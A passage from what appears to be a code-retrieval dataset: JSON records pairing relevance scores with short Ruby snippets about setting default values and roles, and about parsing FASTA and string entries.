profileable_type\n when 'Band'\n self.profileable = Band.new\n when 'Musician'\n self.profileable = Musician.new\n else\n self.errors.add(:profileable_type, \"El tipo de perfil escogido no existe\")\n end\n end", "title": "" }, { "docid": "de40cbd828047c96b8c083916008033d", "score": "0.58421814", "text": "def set_default(default)\n @default = default\n end", "title": "" }, { "docid": "8d7efc64c1e549acb98cb1eb520dc8be", "score": "0.5835358", "text": "def set_default_value\n self.answer = \"\"\n self.approved = false\n self.watch = 0\n self.love_users = []\n end", "title": "" }, { "docid": "b9e1512706d9c520f9ca8d6dac39e4c9", "score": "0.58301866", "text": "def default(default)\n @default = default\n self\n end", "title": "" }, { "docid": "b9e1512706d9c520f9ca8d6dac39e4c9", "score": "0.58301866", "text": "def default(default)\n @default = default\n self\n end", "title": "" }, { "docid": "d215858e21610e55c3a6afa3c087dbeb", "score": "0.5809709", "text": "def default(*default_values)\n @default = default_values\n end", "title": "" }, { "docid": "7b9d03cded04bb44fbcc54cbf5e192e6", "score": "0.5772411", "text": "def default!\n current_default_state = State.find_by_default(true) \n self.default = true\n self.save! \n if current_default_state\n current_state_default.default = false\n current_state_default.save!\n end\n \n end", "title": "" }, { "docid": "64bec57f0bb7d53739d6c2ba68da6ad4", "score": "0.57429725", "text": "def set_it_as_default\n self.user.set_default_profile self.role.name\n end", "title": "" }, { "docid": "8a6db997930f2435846c756e0b9e0b78", "score": "0.57336855", "text": "def default(default)\n @default = default\n end", "title": "" }, { "docid": "baa47945e84030a3d92a4eeccc8685b5", "score": "0.57329595", "text": "def set_default\n # override from sub class\n end", "title": "" }, { "docid": "f09ecdb43e84b428711b85a832b6709a", "score": "0.57283884", "text": "def set_default_role!\n clear!\n end", "title": "" }, { "docid": "f09ecdb43e84b428711b85a832b6709a", "score": "0.57283884", "text": "def set_default_role!\n clear!\n end", "title": "" }, { "docid": "f09ecdb43e84b428711b85a832b6709a", "score": "0.57283884", "text": "def set_default_role!\n clear!\n end", "title": "" }, { "docid": "f09ecdb43e84b428711b85a832b6709a", "score": "0.57283884", "text": "def set_default_role!\n clear!\n end", "title": "" }, { "docid": "4f8ead504572f8c159abcb8f3b6d595a", "score": "0.5723667", "text": "def set_defaults\n end", "title": "" }, { "docid": "925f0d4f70b1530ae4c766f4e1e2d829", "score": "0.5718944", "text": "def assign_default_role\n self.add_role(:default_user) if self.roles.blank?\n end", "title": "" }, { "docid": "409a0c7d3940ee3488f1a9eeb047be9a", "score": "0.57173276", "text": "def set_default_role\n \t\tunless self.set_default_role\n \t\t\tself.role = :user # sets all new users as users, unless specified as an admin\n \t\tend\n \tend", "title": "" }, { "docid": "61a468571b65f0dab08610c8b9cc08ac", "score": "0.57125616", "text": "def set_default_role\n rol = Role.find_by_name('registered')\n if rol.nil?\n role = Role.new\n role.name = 'registered'\n role.save\n rol = role\n end\n self.role_ids = self.role_ids.insert(-1,rol.id)\n end", "title": "" }, { "docid": "aef4b1dc2c3dc1e6968d5ec5a90698ef", "score": "0.5703525", "text": "def set_notifications_to_default\r\n set_att(UserAttribute::ATT_REMIND_BY_EMAIL, UserAttribute::DEFAULT_REMIND_BY_EMAIL)\r\n set_att(UserAttribute::ATT_INVITE_NOTIFICATION_OPTION, UserAttribute::DEFAULT_INVITE_NOTIFICATION)\r\n set_att(UserAttribute::ATT_PLAN_MODIFIED_NOTIFICATION_OPTION, UserAttribute::DEFAULT_PLAN_MODIFIED_NOTIFICATION)\r\n set_att(UserAttribute::ATT_PLAN_COMMENTED_NOTIFICATION_OPTION, UserAttribute::DEFAULT_PLAN_COMMENTED_NOTIFICATION)\r\n set_att(UserAttribute::ATT_CONFIRMED_PLAN_REMINDER_OPTION, UserAttribute::DEFAULT_CONFIRMED_PLAN_REMINDER)\r\n set_att(UserAttribute::ATT_REMINDER_HOURS, UserAttribute::DEFAULT_REMINDER_HOURS)\r\n set_att(UserAttribute::ATT_ADDED_AS_FRIEND_NOTIFICATION_OPTION, UserAttribute::DEFAULT_ADDED_AS_FRIEND_NOTIFICATION)\r\n set_att(UserAttribute::ATT_USER_COMMENTED_NOTIFICATION_OPTION, UserAttribute::DEFAULT_USER_COMMENTED_NOTIFICATION)\r\n end", "title": "" }, { "docid": "ff88a99a81019731cf4efb1830345fe2", "score": "0.56830835", "text": "def set_defaults\n end", "title": "" }, { "docid": "ff88a99a81019731cf4efb1830345fe2", "score": "0.56830835", "text": "def set_defaults\n end", "title": "" }, { "docid": "ff88a99a81019731cf4efb1830345fe2", "score": "0.56830835", "text": "def set_defaults\n end", "title": "" }, { "docid": "6325e36f74583a1340a169291ced863d", "score": "0.5677472", "text": "def set_defaults\n # puts \"SETTING DEFAULTS\"\n # FIXME: Add default for time of daily e-mail.\n self.notify_me_before_outage = false if notify_me_before_outage.nil?\n self.notify_me_on_note_changes = false if notify_me_on_note_changes.nil?\n self.notify_me_on_outage_changes = true if notify_me_on_outage_changes.nil?\n self.notify_me_on_outage_complete = true if notify_me_on_outage_complete.nil?\n self.notify_me_on_overdue_outage = false if notify_me_on_overdue_outage.nil?\n self.preference_individual_email_notifications = false if preference_individual_email_notifications.nil?\n self.preference_notify_me_by_email = false if preference_notify_me_by_email.nil?\n # NOTE: User created by signing up is a super-user. This mignt not always\n # be true.\n self.privilege_account = true if privilege_account.nil?\n self.privilege_edit_cis = true if privilege_edit_cis.nil?\n self.privilege_edit_outages = true if privilege_edit_outages.nil?\n self.privilege_manage_users = true if privilege_manage_users.nil?\n # puts \"self.inspect: #{inspect}\"\n end", "title": "" }, { "docid": "b8beccccbbd86a5f0a7f0525f2646b30", "score": "0.5669534", "text": "def set_defaults; end", "title": "" }, { "docid": "9f91436c081fcc5a8a422eebf1bb0e45", "score": "0.5668894", "text": "def set_privacy_to_default\r\n #KS- the plans privacy is different from the others in that it is stored directly in the planners table\r\n self.planner.visibility_type = UserAttribute::DEFAULT_PLANNER_VISIBILITY_TYPE\r\n\r\n #KS- set the attributes in the user_atts table to their defaults\r\n set_att(UserAttribute::ATT_SECURITY, UserAttribute::DEFAULT_REAL_NAME_SECURITY, UserAttribute::ATT_REAL_NAME_SECURITY_GROUP)\r\n set_att(UserAttribute::ATT_SECURITY, UserAttribute::DEFAULT_EMAIL_SECURITY, UserAttribute::ATT_EMAIL_SECURITY_GROUP)\r\n set_att(UserAttribute::ATT_SECURITY, UserAttribute::DEFAULT_BIRTHDAY_AGE_SECURITY, UserAttribute::ATT_BIRTHDAY_AGE_SECURITY_GROUP)\r\n set_att(UserAttribute::ATT_SECURITY, UserAttribute::DEFAULT_RELATIONSHIP_STATUS_SECURITY, UserAttribute::ATT_RELATIONSHIP_STATUS_SECURITY_GROUP)\r\n set_att(UserAttribute::ATT_SECURITY, UserAttribute::DEFAULT_DESCRIPTION_SECURITY, UserAttribute::ATT_DESCRIPTION_SECURITY_GROUP)\r\n set_att(UserAttribute::ATT_SECURITY, UserAttribute::DEFAULT_GENDER_SECURITY, UserAttribute::ATT_GENDER_SECURITY_GROUP)\r\n end", "title": "" }, { "docid": "ca782e2bcc64281657c3a402afeda499", "score": "0.5663083", "text": "def defaults(val, default)\n\tval = default if (val.empty?)\n\tval\nend", "title": "" }, { "docid": "ca782e2bcc64281657c3a402afeda499", "score": "0.5663083", "text": "def defaults(val, default)\n\tval = default if (val.empty?)\n\tval\nend", "title": "" }, { "docid": "1c6a1a4ec72853a85c3026acf9571ffb", "score": "0.5661975", "text": "def set_default(change_user_roles=false)\n original_default = Role.default\n return true if self == original_default\n def_role_setting = Setting.default_role\n if def_role_setting.update_attribute('value', self.id)\n if change_user_roles && !original_default.blank?\n User.where(role_id: original_default.id).update_all(role_id: self.id) \n end\n return true\n else\n return false\n end\n end", "title": "" }, { "docid": "71f6df80801a517da294112a3be6521a", "score": "0.5660336", "text": "def default!(default)\n @table.default = default\n end", "title": "" }, { "docid": "e0cc2cd59c8a09f9e5e3f4aa4de477fe", "score": "0.5652442", "text": "def force_default=(new_data)\n reset\n @force_default = VividMash.new(new_data, self, __node__, :force_default)\n end", "title": "" }, { "docid": "972d9a437149a252a295e485f663b548", "score": "0.5649726", "text": "def set_default(value)\r\n\t\t\tself.default_value = value\r\n\t\tend", "title": "" }, { "docid": "512c22f471ef4a2117ce068611f58e1d", "score": "0.56364465", "text": "def defaults\n {\n members: Set.new,\n name: '',\n repository: Vedeu.groups,\n visible: true,\n }\n end", "title": "" }, { "docid": "2bd64adc235c72a670a5bf9d0c26620e", "score": "0.56340635", "text": "def default_access=(access); @default_access = access; end", "title": "" }, { "docid": "2654616e1356a5712e1ee5ff0aa54966", "score": "0.56214076", "text": "def save_default_ask_members\n if user_group.present? && user_group.is_admin?(user_id) # if user is admin, automatically add members for praying \n user_group.members.pluck(:id).each do |_member_id|\n recommend.where(user_id: _member_id).first_or_create!\n end\n end\n end", "title": "" }, { "docid": "14b08180528fc9029348b2f242db2ffa", "score": "0.56155556", "text": "def default(*names)\n if names.any? {|n| n == false} && names.length > 1\n raise ArgumentError, \"If using merge of default graphs, there can be only one\"\n end\n @default_graph = nil\n @defaults = names\n end", "title": "" }, { "docid": "ba7577ef1cf0471708dcc493695cac60", "score": "0.5615373", "text": "def default_values\n \tif (self.vacant.nil?)\n \t\tself.vacant = true\n \tend\n \tif (self.clean.nil?)\n \t\tself.clean = true\n \tend\n \tif (self.inventory.nil?)\n \t\tself.inventory = true\n \tend\n end", "title": "" }, { "docid": "c57ba84e40cfad3b3c64baa5705619fb", "score": "0.5614082", "text": "def make_default!\n end", "title": "" }, { "docid": "c57ba84e40cfad3b3c64baa5705619fb", "score": "0.5614082", "text": "def make_default!\n end", "title": "" }, { "docid": "7e2d6d520f1c881780217aef22a25138", "score": "0.5602661", "text": "def set_default_role\n if User.count == 0\n setRole Role.Admin\n else\n setRole Role.User\n end\n end", "title": "" }, { "docid": "690298233c2888d763c1f904827beb82", "score": "0.56008434", "text": "def default=(val)\n @default = val\n end", "title": "" }, { "docid": "71abe15f5f15d22941b1bca11aa7bdbc", "score": "0.5599856", "text": "def set_defaults\n\n end", "title": "" }, { "docid": "71abe15f5f15d22941b1bca11aa7bdbc", "score": "0.5599856", "text": "def set_defaults\n\n end", "title": "" }, { "docid": "71abe15f5f15d22941b1bca11aa7bdbc", "score": "0.5599856", "text": "def set_defaults\n\n end", "title": "" }, { "docid": "71abe15f5f15d22941b1bca11aa7bdbc", "score": "0.5599856", "text": "def set_defaults\n\n end", "title": "" }, { "docid": "71abe15f5f15d22941b1bca11aa7bdbc", "score": "0.5599856", "text": "def set_defaults\n\n end", "title": "" }, { "docid": "71abe15f5f15d22941b1bca11aa7bdbc", "score": "0.5599856", "text": "def set_defaults\n\n end", "title": "" }, { "docid": "71abe15f5f15d22941b1bca11aa7bdbc", "score": "0.5599856", "text": "def set_defaults\n\n end", "title": "" }, { "docid": "71abe15f5f15d22941b1bca11aa7bdbc", "score": "0.5599856", "text": "def set_defaults\n\n end", "title": "" }, { "docid": "9753bbe4821ae936fa349b8be6d77de7", "score": "0.55778027", "text": "def default=\r\n end", "title": "" }, { "docid": "49b701caf3e11e400c99274a81bdc675", "score": "0.55772215", "text": "def default!\n self.value=(default)\n end", "title": "" }, { "docid": "9008b8fecaa0b3db77fed0c5e0bce6ba", "score": "0.5570491", "text": "def defaults other\n dup.defaults! other\n end", "title": "" }, { "docid": "84ae4fda44204a218e0e9c0f454e0ae1", "score": "0.5561074", "text": "def assign_default_role\n self.add_role(:user) if self.roles.blank?\n end", "title": "" }, { "docid": "adcf0803d9da0c8b07248fcbe706b000", "score": "0.5556439", "text": "def default=(value)\r\n super(false)\r\n end", "title": "" }, { "docid": "d8244c7ccef4f851b0e2f4a9764b7234", "score": "0.5552414", "text": "def default_values\n self.approved ||= false\n end", "title": "" }, { "docid": "d64610bc526c6d3ad1396a287b3ed93a", "score": "0.5542355", "text": "def default_values\n\t\t# note self.roles_mask = 2 (user) if self.roles_mask.nil? Set default type user when regist\n \tself.roles_mask ||= \"user\"\n\tend", "title": "" }, { "docid": "04123a89111275d7322d01e9c5b1c710", "score": "0.55341893", "text": "def set_default_role\n\t\t#user_role: [:customer, :host, :admin, :superadmin]\n\t self.user_role = 0\n\tend", "title": "" }, { "docid": "410a4325cc247d6c0acce88b31e1a103", "score": "0.5533003", "text": "def set_optional_by_default(default = true)\n [ :allow_nil, :allow_blank ].each do |key|\n @options[key] = true unless options.key?(key)\n end\n end", "title": "" }, { "docid": "14bc48d7a270bf47ba283a1a39a2024b", "score": "0.5532385", "text": "def default=(_arg0); end", "title": "" }, { "docid": "14bc48d7a270bf47ba283a1a39a2024b", "score": "0.5532385", "text": "def default=(_arg0); end", "title": "" }, { "docid": "14bc48d7a270bf47ba283a1a39a2024b", "score": "0.5532385", "text": "def default=(_arg0); end", "title": "" }, { "docid": "d870c0f4bcf2263dd77affb214cf0561", "score": "0.55291504", "text": "def set_defaults\n # self.active ||= true\n end", "title": "" }, { "docid": "80774dddac5d8217c20ff363d03b97f4", "score": "0.5518438", "text": "def setDefault(isDefault)\r\n\t\t\t\t\t@isDefault = isDefault\r\n\t\t\t\tend", "title": "" }, { "docid": "dcd755a4e24731aadc1188fa249dcfee", "score": "0.55118906", "text": "def set_default_role\n if User.count == 0\n self.set_role(\"Admin\")\n else\n self.set_role(\"User\")\n end\n end", "title": "" }, { "docid": "26669ca3ac15721ab6bc49b542f1a2bb", "score": "0.54998296", "text": "def default_assign\n if assigned_to.nil?\n if category && category.assigned_to\n self.assigned_to = category.assigned_to\n else\n self.assigned_to_id = mokuai_ownner\n self.tfde_id = mokuai_tfde\n end\n end\n self.assigned_to = nil unless self.assigned_to.try(:active?)\n self.tfde_id = nil unless self.tfde.try(:active?)\n self.assigned_to ||= author\n end", "title": "" }, { "docid": "27588f570c15d4b7c76fbc8e67dd70ef", "score": "0.54980844", "text": "def set_default_role\r\n if self.role_id.blank?\r\n self.role_id = 1\r\n end\r\n end", "title": "" }, { "docid": "79b1da41c2e1a16545256234be9e5b57", "score": "0.5496317", "text": "def set_defaults\n self.role ||= Instance::UserInvitation.roles[:normal]\n end", "title": "" }, { "docid": "25d3d0e3ca3a274f1c1125e9def1e5a3", "score": "0.54859424", "text": "def set_default value=nil, &block\n set :method_missing, value, &block if value || block_given?\n end", "title": "" }, { "docid": "1e003e53b25c0ded04ac4e989e0e3161", "score": "0.5483546", "text": "def set_default_role\n\t\tself.role ||= :coach\n\tend", "title": "" }, { "docid": "b270a4f35ee414b03a0da2c70043f0d3", "score": "0.54815704", "text": "def setup_defaults\n validate_defaults\n @active = @default\n end", "title": "" }, { "docid": "1199f8ce9bfe896d1ad7d7c04b99caa5", "score": "0.54793394", "text": "def set_defaults\n self.weight = 1\n self.complete = false\n end", "title": "" }, { "docid": "b430f470fc18b6a368edf106dce162e4", "score": "0.5469418", "text": "def default!(options = {})\n options.each do |key, value| \n self[key] = value if self[key].nil?\n end\n \n self\n end", "title": "" }, { "docid": "bd70bd49e4ca6625ad0380a950613a37", "score": "0.54692143", "text": "def default_values\n self.pmu_type ||= \"uncommitted\"\n self.completed ||= false\n self.max_people ||= 1\n end", "title": "" }, { "docid": "3f4769bac1ea0a9edce183bb89af852d", "score": "0.5467309", "text": "def defaults\n [default(), invert_default]\n end", "title": "" }, { "docid": "5c549200e6d7037446fdea6fb8010d16", "score": "0.54658437", "text": "def set_from_default_config\n MatchingAttribs.each do |k|\n next unless data_dictionary.default_config.key?(k)\n\n v = data_dictionary.default_config[k]\n send(\"#{k}=\", v)\n end\n end", "title": "" }, { "docid": "ea3ed0a9b12bbefcb7a34f68f2d40f5c", "score": "0.5465221", "text": "def set_defaults\n\t\tself.roles << :commenter\n\t\tself.groups << Group.first\n\tend", "title": "" }, { "docid": "09adca89d83845765ee33eb071623127", "score": "0.5463939", "text": "def set_default_permission\n permission = self.permissions.build\n permission.level_id = SecurityLevel.find_by_level(\"default\").id\n permission.save\n end", "title": "" }, { "docid": "60e3c39da78565b58307304549c28989", "score": "0.54633003", "text": "def default_values\n self.anymore ||= false\n end", "title": "" }, { "docid": "f4e1f3baa236ad388c788d03b59c161e", "score": "0.54614884", "text": "def rights= default_rights\n grant_rights_for(:default => default_rights) && default_rights\n end", "title": "" }, { "docid": "9e4e35ccd5f830e1480a1c8ab4229881", "score": "0.5459695", "text": "def set_as_member\n self.roles.delete('restricted')\n self.roles.delete('trial_member')\n if not self.roles.include?('member')\n self.roles.push('member')\n end\n self.save\n end", "title": "" } ]
80b68d4c78d988fe15dde19bc871cf46
Returns a Fasta::Entry initialized using str
[ { "docid": "3c12d4c50459e049dc488903cb71f252", "score": "0.7596648", "text": "def str_to_entry(str)\r\n Entry.parse(str)\r\n end", "title": "" } ]
[ { "docid": "4b2a01a347b55931353ccf0bcf26c9b2", "score": "0.75577664", "text": "def str_to_entry(str)\r\n Entry.parse(str)\r\n end", "title": "" }, { "docid": "1316ddc4fb63e4dea905ae6291f1add0", "score": "0.625257", "text": "def initialize(str)\n @definition = str[/.*/].sub(/^>/, '').strip\t# 1st line\n @data = str.sub(/.*/, '')\t\t\t\t# rests\n @data.sub!(/^>.*/m, '')\t# remove trailing entries for sure\n @entry_overrun = $&\n end", "title": "" }, { "docid": "a4548a98ba6b2651854cb81a1cf000cb", "score": "0.61616737", "text": "def from_string(str); end", "title": "" }, { "docid": "a4548a98ba6b2651854cb81a1cf000cb", "score": "0.61616737", "text": "def from_string(str); end", "title": "" }, { "docid": "3f950234454b06adf70999d59024b0d9", "score": "0.60243475", "text": "def initialize(str)\n str = str.sub(/\\A[\\r\\n]+/, '') # remove first void lines\n line1, line2, rest = str.split(/^/, 3)\n\n rest = rest.to_s\n rest.sub!(/^>.*/m, '') # remove trailing entries for sure\n @entry_overrun = $&\n rest.sub!(/\\*\\s*\\z/, '') # remove last '*' and \"\\n\"\n @data = rest\n\n @definition = line2.to_s.chomp\n if /^>?([A-Za-z0-9]{2})\\;(.*)/ =~ line1.to_s then\n @seq_type = $1\n @entry_id = $2\n end\n end", "title": "" }, { "docid": "a5b19fd94de2bc8b2109036955273cba", "score": "0.5983227", "text": "def initialize_from_str(str)\n key = str.to_s.upcase\n @num, @str = CLASSES[key], key\n end", "title": "" }, { "docid": "6ffca92b531dc831752c165a8152e277", "score": "0.5982421", "text": "def initialize(string); end", "title": "" }, { "docid": "6ffca92b531dc831752c165a8152e277", "score": "0.5982421", "text": "def initialize(string); end", "title": "" }, { "docid": "6ffca92b531dc831752c165a8152e277", "score": "0.5982421", "text": "def initialize(string); end", "title": "" }, { "docid": "8a79e9d93273fad1f9e0169ebdb8f0fe", "score": "0.5914332", "text": "def initialize_from_string(str)\n @str = str\n @record_name = fetch_record_name(str)\n @parsed = false\n self\n end", "title": "" }, { "docid": "1ff3bfbdbfd8191204789911ab9f0027", "score": "0.59127533", "text": "def make_entry()\n header = @filehandler.readline.chomp\n\n sequence = \"\"\n # f.each do |line|\n @filehandler.each do |line|\n unless line.include? \">\"\n sequence += line.chomp\n else\n break\n end\n end\n\n FastaEntry.new(header,sequence)\n end", "title": "" }, { "docid": "61e1004e9abf8d98ea9ef6e13cfff06e", "score": "0.5786283", "text": "def init_from_string(str = '')\n raise TypeError unless str.instance_of?(String)\n\n @cmd = str.instance_variable_get(:@cmd)\n @name = str.instance_variable_get(:@name)\n @type = str.instance_variable_get(:@type)\n end", "title": "" }, { "docid": "3806b55cf62c12f56b802258dd0b7db9", "score": "0.57796943", "text": "def initialize(str)\n @str = str\n end", "title": "" }, { "docid": "4efdfba227600ecadace96ce6271eac7", "score": "0.57629806", "text": "def make_entry(path)\n return ::Base::Entry.from_file(path)\n end", "title": "" }, { "docid": "73b4c33e9143f24441021ece1548358f", "score": "0.57622707", "text": "def initialize(str, value=nil)\n @string = str\n @symbol = str[-1]\n @value = value\n end", "title": "" }, { "docid": "806d285104e8e549902957cd09fbdc3c", "score": "0.5756892", "text": "def from_s(in_str)\n self.str = in_str\n end", "title": "" }, { "docid": "3f53065996265ceb010c5be3d0699efb", "score": "0.5753285", "text": "def create(str)\n instance_eval normalize(str)\n rescue StandardError => e\n raise \"Failed to parse #{str.inspect} due to: #{e}\"\n end", "title": "" }, { "docid": "89e4b85a3df016a03c11269f5ab6e600", "score": "0.5708659", "text": "def str(str)\n Atoms::Str.new(str)\n end", "title": "" }, { "docid": "76c0b34015f3e35d92fc6c3a3178b3a1", "score": "0.56981945", "text": "def initialize(in_str)\n self.str = in_str\n end", "title": "" }, { "docid": "630f03ff36f3ac265b01113a6763ca58", "score": "0.5682692", "text": "def from_str(name, target = T.unsafe(nil), options = T.unsafe(nil)); end", "title": "" }, { "docid": "630f03ff36f3ac265b01113a6763ca58", "score": "0.5682692", "text": "def from_str(name, target = T.unsafe(nil), options = T.unsafe(nil)); end", "title": "" }, { "docid": "48203eb64dceb9d3491321a808f9d434", "score": "0.5681403", "text": "def initialize(str)\n @str = str\n end", "title": "" }, { "docid": "c9da3b652382f6e2c06c45b004ebe9d9", "score": "0.5663176", "text": "def parse( str )\n new(StringPort.new(str))\n end", "title": "" }, { "docid": "04b8d035106fabf0694f21e3f4654e67", "score": "0.56286645", "text": "def initialize(str)\n str = str.sub(/\\A\\s+/, '')\n str.sub!(/\\n(T?BLAST.*)/m, \"\\n\") # remove trailing entries for sure\n @entry_overrun = $1\n @entry = str\n data = str.split(/(?:^[ \\t]*\\n)+/)\n\n format0_split_headers(data)\n @iterations = format0_split_search(data)\n format0_split_stat_params(data)\n end", "title": "" }, { "docid": "c6961f3afbf6144613006a1cb8b4a9f9", "score": "0.5554439", "text": "def initialize(ida, index)\n\t\t@ida = ida\n\t\t@index = index\n\t\t\n\t\t@str = @ida.String_info_t.new\n\t\t@ida.get_strlist_item(@index, @str)\n\tend", "title": "" }, { "docid": "ee4dd7a287e120eef3c0bf6dd9e72945", "score": "0.5543839", "text": "def initialize(s) end", "title": "" }, { "docid": "3566078199b107903f30c3efaa977a13", "score": "0.554271", "text": "def entry(entry_name)\n ::Zip::Entry.new(name, entry_name)\n end", "title": "" }, { "docid": "e4edebae82869b74551789647e1db78a", "score": "0.55358946", "text": "def initialize (entry)\n @entry = entry\n end", "title": "" }, { "docid": "fa8a0afe7019c4dfbc18af22044cc201", "score": "0.5530521", "text": "def initialize(str)\n @value = str\n end", "title": "" }, { "docid": "d36f90fec32dc7dd2858b506e4400793", "score": "0.5517577", "text": "def unpack_entry(byte_string)\r\n\t\t\tentry = resource? ? RawResource.new : RawRecord.new\r\n\t\t\tentry.data = byte_string # Duck typing rules! :)\r\n\t\t\tentry\r\n\t\tend", "title": "" }, { "docid": "12be10f048a4328fc20f88dc2d345259", "score": "0.55134106", "text": "def initialize(str)\n\n @raw_string = str\n @lower_string = str.downcase\n\n _parse_and_map\n\n end", "title": "" }, { "docid": "9a5c1ffb89ae2278e2a6d8241498c7da", "score": "0.55036306", "text": "def from(fs_entry)\n FsEntry.from(File.join(@path, fs_entry))\n end", "title": "" }, { "docid": "55c920608142ea3a2c1ddf05b6748873", "score": "0.548752", "text": "def address(str)\n Address.new(str)\nend", "title": "" }, { "docid": "36b63bab1b33b5562e93ffe99b9b4c9e", "score": "0.54735327", "text": "def make_entry()\n ## already have access to a the instance var @filehandler, no need to pass it in\n # def make_entry(f)\n # remove the trailing newline\n header = @filehandler.readline.chomp\n sequence = \"\"\n # f.each do |line|\n @filehandler.each do |line|\n unless line.include? \">\"\n sequence += line.chomp\n else\n break\n end\n end\n # no need to create the object, just return the new annonymous instance\n # entry = Entry.new(header,sequence)\n # return entry\n Entry.new(header,sequence)\n end", "title": "" }, { "docid": "c77415d11e28e6229c191fbc52095ce3", "score": "0.5473275", "text": "def from_s(s)\n self.from_h(Locuser.config.address_formatter.s_to_h(s))\n # unless (Locuser.config.parser_class.nil? || !Locuser.config.parser_class.respond_to?(:parse))\n # a = Locuser.config.parser_class.send(:parse, s)\n # self.from_h(a.to_h) unless a.nil?\n # end\n end", "title": "" }, { "docid": "785bac16a99ecab56bc2d120c30fa807", "score": "0.54507554", "text": "def initialize(entry) \n tmp = entry.chomp.split(/\\t/)\n @db = tmp[0] \n @db_object_id = tmp[1]\n @db_object_symbol = tmp[2]\n @qualifier = tmp[3] # \n @goid = tmp[4]\n @db_reference = tmp[5].split(/\\|/) #\n @evidence = tmp[6]\n @with = tmp[7].split(/\\|/) # \n @aspect = tmp[8]\n @db_object_name = tmp[9] #\n @db_object_synonym = tmp[10].split(/\\|/) #\n @db_object_type = tmp[11]\n @taxon = tmp[12] # taxon:4932\n @date = tmp[13] # 20010118\n @assigned_by = tmp[14] \n end", "title": "" }, { "docid": "b75eec944b6f9aa6ce40eba859141618", "score": "0.54445374", "text": "def initialize(entry)\n @entry = entry\n end", "title": "" }, { "docid": "b75eec944b6f9aa6ce40eba859141618", "score": "0.54445374", "text": "def initialize(entry)\n @entry = entry\n end", "title": "" }, { "docid": "b75eec944b6f9aa6ce40eba859141618", "score": "0.54445374", "text": "def initialize(entry)\n @entry = entry\n end", "title": "" }, { "docid": "d9811d008d73c14dbc43f513e7783f77", "score": "0.5421065", "text": "def initialize(str='', name=nil)\n super(str)\n @name = name\n end", "title": "" }, { "docid": "032bc7566b20af510aefaf6bb7bcd9a3", "score": "0.542076", "text": "def string_record() @records.get(GRT_STRING); end", "title": "" }, { "docid": "51bc266d52fd2637cb06ee9c44e49990", "score": "0.5403809", "text": "def [](string)\n if packed? string\n new(unpack(string))\n elsif with_header? string\n new(string)\n elsif without_header? string\n new(add_header(string))\n end\n end", "title": "" }, { "docid": "049fa2f3861f97b813712092086549d4", "score": "0.5364006", "text": "def read(str)\n clear\n return self if str.nil?\n\n PacketGen.force_binary str\n start = 0\n loop do\n index = str[start, 2].unpack1('n')\n if pointer? index\n # Pointer on another label\n @pointer = str[start, 2]\n break\n else\n label = add_label_from(str[start..])\n start += label.sz\n break if label.empty? || str[start..].empty?\n end\n end\n # force resolution of compressed names\n name_from_pointer\n self\n end", "title": "" }, { "docid": "6c88259580b8e62ae3989669980c14ac", "score": "0.5357249", "text": "def initialize(str)\n @str = str # cmd str\n end", "title": "" }, { "docid": "66074c0e329e240cebe08ec7eea0112f", "score": "0.5354553", "text": "def from_s(str)\n reset\n parse(str)\n end", "title": "" }, { "docid": "8550216ed883c0805964928a1a9bd3ef", "score": "0.5339417", "text": "def initialize\n @strmaker = SysConfig.string_decorator\n end", "title": "" }, { "docid": "beababa1fb228a388d03e253a7cc431c", "score": "0.5337546", "text": "def build(str)\n obj = klass.from_s(str)\n container_for_associated << obj\n end", "title": "" }, { "docid": "14ccff19f52afd4d773514ed44e76322", "score": "0.5331384", "text": "def initialize(entry)\n @entry = entry\n end", "title": "" }, { "docid": "0ee2269c74357a68eaffde1198259755", "score": "0.53303146", "text": "def initialize entry_text='', hsh={}\n # Some defaults\n @creation_date = Time.now\n @starred = false\n @entry_text = entry_text\n @saved = false\n @tags = []\n @location = DayOne::Location.new hsh.delete(:location)\n \n hsh.each do |k,v|\n setter = \"#{k}=\"\n self.send(setter,v) if self.respond_to? setter\n end\n end", "title": "" }, { "docid": "83115ed999a46ede6cfa2c83f5112049", "score": "0.5328221", "text": "def genEntryFromHash(aHash)\n entry = Net::LDAP::Entry.new\n aHash.each{ |name, value| entry[\"#{name}\"] = value}\n entry\nend", "title": "" }, { "docid": "60d6a5400069a42989b6044004162dea", "score": "0.53236467", "text": "def get(str)\n\t\tfield, attr, attridx = parse_str(str)\n\t\t{\n\t\t\tfield: field,\n\t\t\tattr: attr,\n\t\t\tattridx: attridx,\n\t\t\tvalue: get_val(field, attr, attridx)\n\t\t}\n\tend", "title": "" }, { "docid": "5cabb2ad00a42bdfd7425f961d806e77", "score": "0.53230023", "text": "def initialize( arg )\n\n\t\t\t\t# sets the variables by the string\n\t\t\t\tsplit = arg.split(':')\n\t\t\t\tself.name = split[0]\n\t\t\t\tself.reference = split[2]\n\t\t\t\tself.reference_type = split[3]\n\t\t\t\tself.type = split[1] # type is the most important, so it's the last for override reasons\n\t\t\t\t\n\t\t\t\t@raw_string = arg\n\t\t\tend", "title": "" }, { "docid": "39b42ba59fe524af1a51753b6657ccbd", "score": "0.53134465", "text": "def from_s(str)\n\t\treset\n\n\t\tparse(str)\n\tend", "title": "" }, { "docid": "684177850043c5146c4ec34c6dcb057f", "score": "0.5304862", "text": "def initialize(str)\n @id2term = {}\n @header_lines = {}\n @id2id = {}\n adj_list = dag_edit_format_parser(str)\n super(adj_list)\n end", "title": "" }, { "docid": "ebf8e86a702c7af27a83d44f97ebf6f1", "score": "0.53021735", "text": "def raptor_new_string(str)\n ptr = V2.raptor_alloc_memory(str.bytesize + 1)\n ptr.put_string(0, str)\n ptr\n end", "title": "" }, { "docid": "a4b79110fa2e5e2b462acf3a98d683bb", "score": "0.52994424", "text": "def from_s(str)\n\n\n\t\t# Supported formats:\n\t\t# known_name\n\t\t# user [at/@] host [dot/.] tld\n\t\t# Name <user [at/@] host [dot/.] tld>\n\n\n\t\tif ((m = str.match(/^\\s*([^<]+)<([^>]+)>\\s*$/)))\n\t\t\tself.name = m[1].sub(/<.*/, '')\n\t\t\tself.email = m[2].sub(/\\s*\\[at\\]\\s*/, '@').sub(/\\s*\\[dot\\]\\s*/, '.')\n\t\telse\n\t\t\tif (Known[str])\n\t\t\t\tself.email = Known[str]\n\t\t\t\tself.name = str\n\t\t\telse\n\t\t\t\tself.email = str.sub(/\\s*\\[at\\]\\s*/, '@').sub(/\\s*\\[dot\\]\\s*/, '.').gsub(/^<|>$/, '')\n\t\t\t\tm = self.email.match(/([^@]+)@/)\n\t\t\t\tself.name = m ? m[1] : nil\n\t\t\t\tif !(self.email and self.email.index('@'))\n\t\t\t\t\tself.name = self.email\n\t\t\t\t\tself.email = ''\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\tself.name.strip! if 